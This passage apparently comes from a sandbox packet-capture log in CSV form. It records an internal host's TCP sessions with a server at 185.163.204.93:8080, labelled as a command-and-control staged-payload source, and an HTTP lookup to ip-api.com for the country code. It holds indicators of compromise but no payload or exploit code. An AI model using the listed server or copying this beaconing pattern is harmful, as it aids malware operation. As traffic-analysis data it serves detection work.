\"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1897488277, 1897488278))]\"\"}}]\"\n2026-04-29 14:30:47.430411,75,TCP 192.168.122.168:50096 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50096,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=1897488277 Ack=747942180,525400577f945254007bb792080045000029962740008006a355c0a87aa8b9a3cc5dc3b01f9071195f952c94b12450108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38439, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41813, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50096, \"\"dport\"\": 8080, \"\"seq\"\": 1897488277, \"\"ack\"\": 747942180, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:30:47.430447,76,TCP 185.163.204.93:8080 -> 192.168.122.168:50096,185.163.204.93,192.168.122.168,8080,50096,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=747942180 Ack=1897488278,5254007bb792525400577f94080045000034975f40004006e212b9a3cc5dc0a87aa81f90c3b02c94b12471195f9680100053c17800000101050a71195f9571195f96,\"RT.{..RT.W....E..4._@.@......]..z.....,..$q._....S.x.....\nq._.q._.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 38751, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57874, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50096, \"\"seq\"\": 747942180, \"\"ack\"\": 1897488278, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1897488277, 1897488278))]\"\"}}]\"\n2026-04-29 14:30:53.002744,77,TCP 185.163.204.93:8080 -> 192.168.122.168:50096,185.163.204.93,192.168.122.168,8080,50096,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=747942180 Ack=1897488278,5254007bb792525400577f94080045000028976040004006e21db9a3cc5dc0a87aa81f90c3b02c94b12471195f9650110053c16c0000,\"RT.{..RT.W....E..(.`@.@......]..z.....,..$q._.P..S.l..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38752, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57885, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50096, \"\"seq\"\": 747942180, \"\"ack\"\": 1897488278, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:30:53.002993,78,TCP 192.168.122.168:50096 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50096,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=1897488278 Ack=747942181,525400577f945254007bb792080045000028962840008006a355c0a87aa8b9a3cc5dc3b01f9071195f962c94b12550108000c16c0000,\"RT.W..RT.{....E..(.(@....U..z....]....q._.,..%P....l..\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38440, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41813, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50096, \"\"dport\"\": 8080, \"\"seq\"\": 1897488278, \"\"ack\"\": 747942181, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:30:53.053412,79,TCP 192.168.122.168:50096 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50096,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=1897488278 Ack=747942181,525400577f945254007bb792080045000028962940008006a354c0a87aa8b9a3cc5dc3b01f9071195f962c94b12550118000c16c0000,\"RT.W..RT.{....E..(.)@....T..z....]....q._.,..%P....l..\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38441, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41812, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50096, \"\"dport\"\": 8080, \"\"seq\"\": 1897488278, \"\"ack\"\": 747942181, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:30:53.053462,80,TCP 185.163.204.93:8080 -> 192.168.122.168:50096,185.163.204.93,192.168.122.168,8080,50096,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=747942181 Ack=1897488279,5254007bb792525400577f94080045000028000040004006797eb9a3cc5dc0a87aa81f90c3b02c94b12571195f97501000535c840000,\"RT.{..RT.W....E..(..@.@.y~...]..z.....,..%q._.P..S\\...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 31102, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50096, \"\"seq\"\": 747942181, \"\"ack\"\": 1897488279, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 23684, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:30:53.071634,81,TCP 192.168.122.168:50144 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50144,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,S,,,Ether > IP > TCP,3,TCP S Seq=1125558933 Ack=0,525400577f945254007bb792080045000034962a40008006a347c0a87aa8b9a3cc5dc3e01f904316aa95000000008002ffffc1780000020405b40103030701010402,RT.W..RT.{....E..4.*@....G..z....]....C............x..............,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 38442, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41799, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50144, \"\"dport\"\": 8080, \"\"seq\"\": 1125558933, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 7), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-29 14:30:53.071706,82,TCP 185.163.204.93:8080 -> 192.168.122.168:50144,185.163.204.93,192.168.122.168,8080,50144,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2135233061 Ack=1125558934,5254007bb792525400577f940800450000340000400040067972b9a3cc5dc0a87aa81f90c3e07f4512254316aa968012a564c1780000020405b40101040201030309,RT.{..RT.W....E..4..@.@.yr...]..z......E.%C......d.x.............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 31090, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50144, \"\"seq\"\": 2135233061, \"\"ack\"\": 1125558934, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-29 14:30:53.071813,83,TCP 192.168.122.168:50144 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50144,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=1125558934 Ack=2135233062,525400577f945254007bb792080045000028962b40008006a352c0a87aa8b9a3cc5dc3e01f904316aa967f45122650108000c16c0000,RT.W..RT.{....E..(.+@....R..z....]....C....E.&P....l..,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38443, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41810, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50144, \"\"dport\"\": 8080, \"\"seq\"\": 1125558934, \"\"ack\"\": 2135233062, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:30:53.638620,84,TCP 192.168.122.168:50101 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50101,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,FA,,,Ether > IP > TCP,3,TCP FA Seq=416520204 Ack=2612282627,525400577f945254007bb79208004500002806e240008006783cc0a87aa8d05f7001c3b5005018d3980c9bb44503501120137bcc0000,RT.W..RT.{....E..(..@...x<..z.._p....P......E.P. .{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1762, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30780, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50101, \"\"dport\"\": 80, \"\"seq\"\": 416520204, \"\"ack\"\": 2612282627, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8211, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:30:53.638683,85,TCP 208.95.112.1:80 -> 192.168.122.168:50101,208.95.112.1,192.168.122.168,80,50101,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2612282627 Ack=416520205,5254007bb792525400577f94080045000028000040004006bf1ed05f7001c0a87aa80050c3b59bb4450318d3980d50100053de310000,\"RT.{..RT.W....E..(..@.@...._p...z..P....E....\nP..S.1..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 48926, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50101, \"\"seq\"\": 2612282627, \"\"ack\"\": 416520205, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 56881, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:30:53.640511,86,TCP 192.168.122.168:50145 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50145,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,S,,,Ether > IP > TCP,3,TCP S Seq=1823256111 Ack=0,525400577f945254007bb79208004500003406e340008006782fc0a87aa8d05f7001c3e100506cacae2f000000008002faf07bd80000020405b40103030801010402,RT.W..RT.{....E..4..@...x/..z.._p....Pl../........{...............,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1763, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30767, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50145, \"\"dport\"\": 80, \"\"seq\"\": 1823256111, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 31704, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-29 14:30:53.640570,87,TCP 208.95.112.1:80 -> 192.168.122.168:50145,208.95.112.1,192.168.122.168,80,50145,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=3425078172 Ack=1823256112,5254007bb792525400577f94080045000034000040004006bf12d05f7001c0a87aa80050c3e1cc268b9c6cacae308012a5647bd80000020405b40101040201030309,RT.{..RT.W....E..4..@.@...._p...z..P...&..l..0...d{..............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 48914, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50145, \"\"seq\"\": 3425078172, \"\"ack\"\": 1823256112, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 31704, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-29 14:30:53.640649,88,TCP 192.168.122.168:50145 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50145,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=1823256112 Ack=3425078173,525400577f945254007bb79208004500002806e440008006783ac0a87aa8d05f7001c3e100506cacae30cc268b9d501004027bcc0000,RT.W..RT.{....E..(..@...x:..z.._p....Pl..0.&..P...{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1764, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30778, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50145, \"\"dport\"\": 80, \"\"seq\"\": 1823256112, \"\"ack\"\": 3425078173, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:30:53.641256,89,TCP 192.168.122.168:50145 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50145,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,PA,,http://ip-api.com/json/?fields=countryCode,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /json/?fields=countryCode,525400577f945254007bb79208004500007d06e54000800677e4c0a87aa8d05f7001c3e100506cacae30cc268b9d501804027c210000474554202f6a736f6e2f3f6669656c64733d636f756e747279436f646520485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a486f73743a2069702d6170692e636f6d0d0a0d0a,\"RT.W..RT.{....E..}..@...w...z.._p....Pl..0.&..P...|!..GET /json/?fields=countryCode HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\n\n\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 125, \"\"id\"\": 1765, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30692, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50145, \"\"dport\"\": 80, \"\"seq\"\": 1823256112, \"\"ack\"\": 3425078173, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 31777, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/json/?fields=countryCode\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"ip-api.com\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/5.0\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-29 14:30:53.641276,90,TCP 208.95.112.1:80 -> 192.168.122.168:50145,208.95.112.1,192.168.122.168,80,50145,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3425078173 Ack=1823256197,5254007bb792525400577f94080045000028daef40004006e42ed05f7001c0a87aa80050c3e1cc268b9d6cacae85501000537bcc0000,RT.{..RT.W....E..(..@.@...._p...z..P...&..l...P..S{...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 56047, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58414, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50145, 